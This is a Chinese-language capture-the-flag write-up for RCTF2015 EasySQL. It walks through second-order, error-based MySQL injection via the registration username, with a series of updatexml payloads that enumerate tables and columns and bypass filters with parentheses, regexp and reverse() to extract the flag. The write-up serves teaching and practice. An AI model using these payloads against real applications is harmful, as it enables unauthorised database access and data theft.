[RCTF2015]EasySQL

[RCTF2015]EasySQL
这道题说实话,花的时间挺久的,主要是注入点找错了,一直以为是在改密码那儿(就是一直在密码处作注入),实际上是用户名的注入

直接讲解题步骤了
对注册界面的username作fuzz,过滤了空格,并且也无法使用内联注释,但括号也可以拿来代替空格

于是,构造第一个payload:

1"or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#

在这里插入图片描述
点击提交,然后用这个用户名去登陆,进行更改密码,随便改改就好
在这里插入图片描述
可以看到下方已经弹出错误信息了
在这里插入图片描述
接着查表

1"or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#

在这里插入图片描述
查flag里面的列

1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))#

在这里插入图片描述
查内容

1"or(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1))#

在这里插入图片描述
好吧,里面不是真的flag,那就只好回到查列的时候了,去查下users表

1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#

在这里插入图片描述
呼,终于看到real_flag了,剩下的就是查内容了

1"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)),0x7e),1))#

在这里插入图片描述
告诉我们没有这个列,那应该就是没查完,但又用不了like进行模糊查询,剩下的也就只有mysql的正则匹配了

1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1))#

拿到完整的列名
在这里插入图片描述
查询数据

1"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#

在这里插入图片描述
按理来说是可以通过right去进行查询的,但无奈right,mid等都被过滤了,能用的就还有个reverse()

1"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#

在这里插入图片描述
从右到左输出就行了,拼接起来即为flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

o3Ev

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值